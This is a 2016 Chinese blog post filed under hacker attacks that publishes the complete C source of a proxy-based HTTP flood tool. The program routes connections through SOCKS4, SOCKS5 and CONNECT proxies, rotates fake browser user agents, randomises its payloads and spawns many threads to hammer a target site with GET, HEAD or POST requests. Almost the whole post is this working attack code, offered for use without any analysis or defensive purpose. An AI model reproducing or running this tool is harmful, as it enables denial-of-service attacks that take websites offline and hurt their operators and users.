2年前 (2016-08-03)  黑客攻击 |   抢沙发  281 
文章评分 3 次,平均分 5.0
#include 
#include <sys /resource.h>
#include 
#include 
#include 
#include 
#include 
#include </sys><sys /socket.h>
#include <netinet /ip.h>
#include </netinet><netinet /tcp.h>
#include 
#include </netinet><netinet /in.h>
#include 

#define RND_CHAR (char)((rand() % 26)+97)

char *useragents[] = {
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 RestSharp 102.0.0.0",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.00",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; )",
        "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.5) Gecko/2009021916 Songbird/1.1.2 (20090331142126)",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/5.0 (X11; U; Linux; cs-CZ) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  rekonq",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP 5.1) Lobo/0.98.4",
        "X-Smiles/1.2-20081113",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008120120 Blackbird/0.9991",
        "Mozilla/5.0 (SCH-F859/F859DG12;U;NUCLEUS/2.1;Profile/MIDP-2.1 Configuration/CLDC-1.1;480*800;CTC/2.0) Dolfin/2.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Conkeror/0.9.3",
        "LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.55-324-g9365f23; WebKit 4.5.2/4.5.2)",
        "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.8) Gecko/20100317 Postbox/1.1.3",
        "xine/1.1.16.3",
        "Bunjalloo/0.7.6(Nintendo DS;U;en)",
        "Mozilla/5.0 (X11; U; Linux i686; en-US; SkipStone 0.8.3) Gecko/20020615 Debian/1.0.0-3 ",
        "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
        "MMozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.1.5 Safari/533.3",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
        "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
        "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
        "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
        "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
};
#define ATTACKPORT 80
char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n%s\r\n%s";
char *postpayload;
struct urlparts {
        char * name;
        char separator[4];
        char value[128];
} parts[] = {
        { "scheme", ":" },
        { "userid", "@" },
        { "password", ":" },
        { "host", "//" },
        { "port", ":" },
        { "path", "/" },
        { "param", ";" },
        /*{ "query", "?" },*/
        { "fragment", "#" }
};
enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
#define NUMPARTS (sizeof parts / sizeof (struct urlparts))
struct urlparts *returnparts[8];
struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
struct proxy { char *type; char *ip; int port; int working; };
struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
struct list *head = NULL;
char parseError[128];
int parseURL(char *url, struct urlparts **returnpart);
char * strsplit(char * s, char * tok);
char firstpunc(char *s);
int strleft(char * s, int n);
void setupparts();
void freeparts();
char *stristr(const char *String, const char *Pattern);
char *str_replace(char *orig, char *rep, char *with);
char *geturl(char *url, char *useragent, char *ip);
char *ipstr;
static int rps = 0;

void *flood(void *par) {
        struct list *startpoint = (struct list *)par;
        int i;
        struct sockaddr_in serverAddr;
        signal(SIGPIPE, SIG_IGN);
        while(1)
        {
                int sent = 0;
                if(startpoint->data->working == 0)
                {
                        startpoint = startpoint->next;
                        sleep(1);
                        continue;
                }
                
                memset(&serverAddr, 0, sizeof(serverAddr));
                serverAddr.sin_family = AF_INET;
                serverAddr.sin_port = htons(startpoint->data->port);
                serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
                int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
                u_int yes=1;
                if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {} if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
                {
                        startpoint->data->working = 0;
                        startpoint = startpoint->next;
                        continue;
                }
                if(strcmp(startpoint->data->type, "Socks4")==0)
                {
                        unsigned char buf[10];
                        buf[0] = 0x04;
                        buf[1] = 0x01;
                        *(unsigned short*)&buf[2] = htons(ATTACKPORT);
                        *(unsigned long*)&buf[4] = inet_addr(ipstr);
                        buf[8] = 0x00;
                        if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
                        {
                                startpoint->data->working = 0;
                                startpoint = startpoint->next;
                                close(serverSocket);
                                continue;
                        }
                }
                if(strcmp(startpoint->data->type, "Socks5")==0)
                {
                        unsigned char buf[20];
                        buf[0] = 0x05;
                        buf[1] = 0x01;
                        buf[2] = 0x00;
                        if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0) { startpoint->data->working = 0;
                                startpoint = startpoint->next;
                                close(serverSocket);
                                continue;
                        }
                        buf[0] = 0x05;
                        buf[1] = 0x01;
                        buf[2] = 0x00;
                        buf[3] = 0x01;
                        *(unsigned long*)&buf[4] = inet_addr(ipstr);
                        *(unsigned short*)&buf[8] = htons(ATTACKPORT);
                        if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0) { startpoint->data->working = 0;
                                startpoint = startpoint->next;
                                close(serverSocket);
                                continue;
                        }
                }
                if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
                {
                        char *connectrequest = malloc(1024);
                        bzero(connectrequest, 1024);
                        sprintf(connectrequest, "CONNECT %s:25565 HTTP/1.0\r\n\r\n", ipstr);
                        if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0) { startpoint->data->working = 0;
                                startpoint = startpoint->next;
                                close(serverSocket);
                                continue;
                        }
                        char *recvbuf = malloc(1024);
                        bzero(recvbuf, 1024);
                        int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
                        if(gotbytes < 1) { startpoint->data->working = 0;
                                startpoint = startpoint->next;
                                close(serverSocket);
                                continue;
                        }
                        free(recvbuf);
                }
                char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
                if(httppayload == NULL)
                {
                        startpoint = startpoint->next;
                        close(serverSocket);
                        continue;
                }
                char *tmp = NULL;
                while((tmp = strstr(httppayload, "%RANDOM%"))!=NULL)
                {
                        *(tmp) = RND_CHAR;
                        *(tmp+1) = RND_CHAR;
                        *(tmp+2) = RND_CHAR;
                        *(tmp+3) = RND_CHAR;
                        *(tmp+4) = RND_CHAR;
                        *(tmp+5) = RND_CHAR;
                        *(tmp+6) = RND_CHAR;
                        *(tmp+7) = RND_CHAR;
                }
                send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
                free(httppayload);
                close(serverSocket);
                rps++;
                usleep(50000);
                //startpoint = startpoint->next;
        }
}

int main(int argc, char *argv[ ]) {
        if(argc < 6){
                fprintf(stderr, "Invalid parameters!\n");
                fprintf(stdout, "Usage: %s      [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
                exit(-1);
        }
        //fprintf(stdout, "Setting up Sockets...\n");
        int num_threads = atoi(argv[3]);
        char *method = argv[2];
        if(!(strcmp(method, "GET")==0 || strcmp(method, "HEAD")==0|| strcmp(method, "POST")==0))
        {
                fprintf(stderr, "Invalid parameters!\n");
                fprintf(stdout, "Usage: %s      [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
                exit(-1);
        }
        FILE *pFile = fopen(argv[4], "rb");
        if(pFile==NULL)
        {
                perror("fopen"); exit(1);
        }
        fseek(pFile, 0, SEEK_END);
        long lSize = ftell(pFile);
        rewind(pFile);
        char *buffer = (char *)malloc(lSize*sizeof(char));
        fread(buffer, 1, lSize, pFile);
        fclose (pFile);
        int i=0;
        char *pch = (char *)strtok(buffer, ":");
        while(pch != NULL)
        {
                if(head == NULL)
                {
                        head = (struct list *)malloc(sizeof(struct list));
                        bzero(head, sizeof(struct list));
                        head->data = (struct proxy *)malloc(sizeof(struct proxy));
                        bzero(head->data, sizeof(struct proxy));
                        head->data->working = 1;
                        head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
                        pch = (char *)strtok(NULL, ":");
                        if(pch == NULL) exit(-1);
                        head->data->port = atoi(pch);
                        pch = (char *)strtok(NULL, ":");
                        head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
                        pch = (char *)strtok(NULL, ":");
                        head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
                        head->next = head;
                        head->prev = head;
                } else {
                        struct list *new_node = (struct list *)malloc(sizeof(struct list));
                        bzero(new_node, sizeof(struct list));
                        new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
                        bzero(new_node->data, sizeof(struct proxy));
                        new_node->data->working = 1;
                        new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
                        pch = (char *)strtok(NULL, ":");
                        if(pch == NULL) break;
                        new_node->data->port = atoi(pch);
                        pch = (char *)strtok(NULL, ":");
                        new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
                        pch = (char *)strtok(NULL, ":");
                        new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
                        new_node->prev = head;
                        new_node->next = head->next;
                        head->next = new_node;
                }
        }
        free(buffer);
        const rlim_t kOpenFD = 1024 + (num_threads * 2);
        struct rlimit rl;
        int result;
        rl.rlim_cur = kOpenFD;
        rl.rlim_max = kOpenFD;
        result = setrlimit(RLIMIT_NOFILE, &rl);
        if (result != 0)
        {
                perror("setrlimit");
                fprintf(stderr, "setrlimit returned result = %d\n", result);
        }
        bzero(&rl, sizeof(struct rlimit));
        rl.rlim_cur = 256 * 1024;
        rl.rlim_max = 4096 * 1024;
        result = setrlimit(RLIMIT_STACK, &rl);
        if (result != 0)
        {
                perror("setrlimit_stack");
                fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
        }
        setupparts();
        parseURL(argv[1], returnparts);
        if(argc > 6 && !(strcmp(argv[6], "0") == 0))
        {
                ipstr = malloc(strlen(argv[6])+1);
                bzero(ipstr, strlen(argv[6])+1);
                strcpy(ipstr, argv[6]);
                //fprintf(stdout, "Using manual IP...\n");
        } else {
                struct hostent *he;
                struct in_addr a;
                he = gethostbyname(returnparts[host]->value);
                if (he)
                {
                        while (*he->h_addr_list)
                        {
                                bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
                                ipstr = malloc(INET_ADDRSTRLEN+1);
                                inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
                                break;
                        }
                }
                else
                { herror("gethostbyname"); }
        }
        char *postdata = malloc(1);
        bzero(postdata, 1);
        char *extrahead = malloc(1);
        bzero(extrahead, 1);
        if(argc > 7)
        {
                //fprintf(stdout, "Using post parameters\n");
                postdata = argv[7];
                extrahead = malloc(4096);
                bzero(extrahead, 4096);
                sprintf(extrahead, "Content-Length: %d\r\nContent-Type: application/x-www-form-urlencoded\r\n", strlen(postdata));
        }
        pthread_t thread[num_threads];
        postpayload = malloc(4096);
        sprintf(postpayload, postformat, method, returnparts[path]->value, returnparts[host]->value, extrahead, postdata);
        freeparts();
        
        //fprintf(stdout, "Starting Flood...\n");
        
        for(i = 0;i<num_threads ;i++){ pthread_create(&thread[i], NULL, &flood, (void *)head); pthread_detach(thread[i]); head = head->next;
                head = head->next;
                head = head->next;
                head = head->next;
                head = head->next;
        }
        
        int temp = atoi(argv[5]);
        
        for(i = 0;i<temp ;i++) { sleep(1); //printf("R/s: %d\n", rps); //rps = 0; } return 0; } void freeparts() { return; if(returnparts[0]!=NULL) { free(returnparts[0]); } if(returnparts[1]!=NULL) { free(returnparts[1]); } if(returnparts[2]!=NULL) { free(returnparts[2]); } if(returnparts[3]!=NULL) { free(returnparts[3]); } if(returnparts[4]!=NULL) { free(returnparts[4]); } if(returnparts[5]!=NULL) { free(returnparts[5]); } if(returnparts[6]!=NULL) { free(returnparts[6]); } if(returnparts[7]!=NULL) { free(returnparts[7]); } /*if(returnparts[8]!=NULL) { free(returnparts[8]); }*/ return; } void setupparts() { returnparts[0] = malloc(sizeof(struct urlparts)); returnparts[1] = malloc(sizeof(struct urlparts)); returnparts[2] = malloc(sizeof(struct urlparts)); returnparts[3] = malloc(sizeof(struct urlparts)); returnparts[4] = malloc(sizeof(struct urlparts)); returnparts[5] = malloc(sizeof(struct urlparts)); returnparts[6] = malloc(sizeof(struct urlparts)); returnparts[7] = malloc(sizeof(struct urlparts)); /*returnparts[8] = malloc(sizeof(struct urlparts));*/ bzero(returnparts[0], sizeof(struct urlparts)); bzero(returnparts[1], sizeof(struct urlparts)); bzero(returnparts[2], sizeof(struct urlparts)); bzero(returnparts[3], sizeof(struct urlparts)); bzero(returnparts[4], sizeof(struct urlparts)); bzero(returnparts[5], sizeof(struct urlparts)); bzero(returnparts[6], sizeof(struct urlparts)); bzero(returnparts[7], sizeof(struct urlparts)); /*bzero(returnparts[8], sizeof(struct urlparts));*/ returnparts[0]->name = "scheme";
        strcpy(returnparts[0]->separator, ":");
        returnparts[1]->name = "userid";
        strcpy(returnparts[1]->separator, "@");
        returnparts[2]->name = "password";
        strcpy(returnparts[2]->separator, ":");
        returnparts[3]->name = "host";
        strcpy(returnparts[3]->separator, "//");
        returnparts[4]->name = "port";
        strcpy(returnparts[4]->separator, ":");
        returnparts[5]->name = "path";
        strcpy(returnparts[5]->separator, "/");
        returnparts[6]->name = "param";
        strcpy(returnparts[6]->separator, ";");
        /*returnparts[7]->name = "query";
        strcpy(returnparts[7]->separator, "?");*/
        returnparts[7]->name = "fragment";
        strcpy(returnparts[7]->separator, "#");
        return;
}
int parseURL(char *url, struct urlparts **returnpart) {
        register i;
        int seplen;
        char * remainder;
        //char * regall = ":/;?#";
        char * regall = ":/;#";
        //char * regpath = ":;?#";
        char * regpath = ":;#";
        char * regx;
        if(!*url)
        {
                strcpy(parseError, "nothing to do!\n");
                return 0;
        }
        if((remainder = malloc(strlen(url) + 1)) == NULL)
        {
                printf("cannot allocate memory\n");
                exit(-1);
        }
        strcpy(remainder, url);
        if(firstpunc(remainder) == ':')
        {
                strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
                strleft(remainder, 1);
        }
        if (!strcmp(returnpart[scheme]->value, "mailto"))
        *(returnpart[host]->separator) = 0;
        for(i = 0; i < NUMPARTS; i++) { if(!*remainder) break; if(i == scheme || i == userid || i == password) continue; if(i == host && strchr(remainder, '@')) { if(!strncmp(remainder, "//", 2)) strleft(remainder, 2); strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
                        strleft(remainder, 1);
                        if(strchr(remainder, '@'))
                        {
                                strcpy(returnpart[password]->value, strsplit(remainder, "@"));
                                strleft(remainder, 1);
                        }
                        *(returnpart[host]->separator) = 0;
                }
                if(i == path && (! *(returnpart[scheme]->value)))
                {
                        *(returnpart[path]->separator) = 0;
                        strcpy(returnpart[scheme]->value, "http");
                }
                regx = (i == path) ? regpath : regall ;
                seplen = strlen(returnpart[i]->separator);
                if(strncmp(remainder, returnpart[i]->separator, seplen))
                continue;
                else
                strleft(remainder, seplen);
                strcpy(returnpart[i]->value, strsplit(remainder, regx));
        }
        if(*remainder)
        sprintf(parseError, "I don't understand '%s'", remainder);
        free(remainder);
        return 0;
}
char *str_replace(char *orig, char *rep, char *with) {
        char *result; 
        char *ins;    
        char *tmp;    
        int len_rep;  
        int len_with; 
        int len_front; 
        int count;    
        if (!orig)
        return NULL;
        if (!rep || !(len_rep = strlen(rep)))
        return NULL;
        if (!(ins = strstr(orig, rep)))
        return NULL;
        if (!with)
        with = "";
        len_with = strlen(with);
        for (count = 0; tmp = strstr(ins, rep); ++count) {
                ins = tmp + len_rep;
        }
        tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
        if (!result)
        return NULL;
        while (count--) {
                ins = strstr(orig, rep);
                len_front = ins - orig;
                tmp = strncpy(tmp, orig, len_front) + len_front;
                tmp = strcpy(tmp, with) + len_with;
                orig += len_front + len_rep; 
        }
        strcpy(tmp, orig);
        return result;
}
char *stristr(const char *String, const char *Pattern)
{
        char *pptr, *sptr, *start;
        uint slen, plen;
        for (start = (char *)String,
        pptr = (char *)Pattern,
        slen = strlen(String),
        plen = strlen(Pattern);
        slen >= plen;
        start++, slen--)
        {
                
                while (toupper(*start) != toupper(*Pattern))
                {
                        start++;
                        slen--;
                        
                        if (slen < plen)
                        return(NULL);
                }
                sptr = start;
                pptr = (char *)Pattern;
                while (toupper(*sptr) == toupper(*pptr))
                {
                        sptr++;
                        pptr++;
                        
                        if ('\0' == *pptr)
                        return (start);
                }
        }
        return(NULL);
}
char * strsplit(char * s, char * tok) {
#define OUTLEN (255)
        register i, j;
        static char out[OUTLEN + 1];
        for(i = 0; s[i] && i < OUTLEN; i++)
        {
                if(strchr(tok, s[i]))
                break;
                else
                out[i] = s[i];
        }
        out[i] = 0;
        if(i && s[i])
        {
                for(j = 0; s[i]; i++, j++) s[j] = s[i];
                s[j] = 0;
        }
        else if (!s[i])
        *s = 0;
        return out;
}
char firstpunc(char * s) {
        while(*s++)
        if(!isalnum(*s)) return *s;
        return 0;
}
int strleft(char * s, int n) {
        int l;
        l = strlen(s);
        if(l < n)
        return -1;
        else if (l == n)
        *s = 0;
        memmove(s, s + n, l - n + 1);
        return n;
}




//下面这个css和插件后台设置的主题有关系,如果需要换样式,则需要修改以下CSS名称

 

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